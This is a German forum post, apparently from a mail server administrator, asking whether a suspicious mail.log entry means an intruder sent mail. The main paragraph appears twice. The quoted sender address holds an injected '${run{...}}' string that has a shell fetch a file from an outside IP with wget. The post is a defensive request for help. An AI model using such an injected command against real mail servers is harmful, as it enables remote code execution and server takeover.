Ich habe eine alarmierende Zeile in meinem mail.log gefunden, mit der ich nicht so recht weiß, wie ich damit umgehen soll. Es sieht so aus, als ob ein Eindringling es tatsächlich geschafft hat, eine E-Mail von meinem Server zu senden. Hier ein Auszug aus dem Log. (Domain und IP geändert)
Ich habe die Zeile einmal markiert, die für mich so aussieht, als war der Versuch potenziell erfolgreich. Hier wurde zwar an einen nicht existierenden Account versandt, aber das muss ja nicht so bleiben. Kann mir da jemand die Sorge nehmen oder helfen, diese Lücke zu schließen? Eigentlich sollte das völlig unmöglich sein, weil mein Mailserver nur von existierenden Aliases versenden darf. Der verwendete Alias post@serverdomain.de (geändert) existiert zwar, aber da ist noch die Zeichenkette ${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f11.11.11.11x22}} dazwischen. Ist das eine bekannte Methode, mit der es gelingt, sich als Absender auszugeben? Weiß da jemand was darüber?
Ich habe die Zeile einmal markiert, die für mich so aussieht, als war der Versuch potenziell erfolgreich. Hier wurde zwar an einen nicht existierenden Account versandt, aber das muss ja nicht so bleiben. Kann mir da jemand die Sorge nehmen oder helfen, diese Lücke zu schließen? Eigentlich sollte das völlig unmöglich sein, weil mein Mailserver nur von existierenden Aliases versenden darf. Der verwendete Alias post@serverdomain.de (geändert) existiert zwar, aber da ist noch die Zeichenkette ${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2f11.11.11.11x22}} dazwischen. Ist das eine bekannte Methode, mit der es gelingt, sich als Absender auszugeben? Weiß da jemand was darüber?
Last edited:
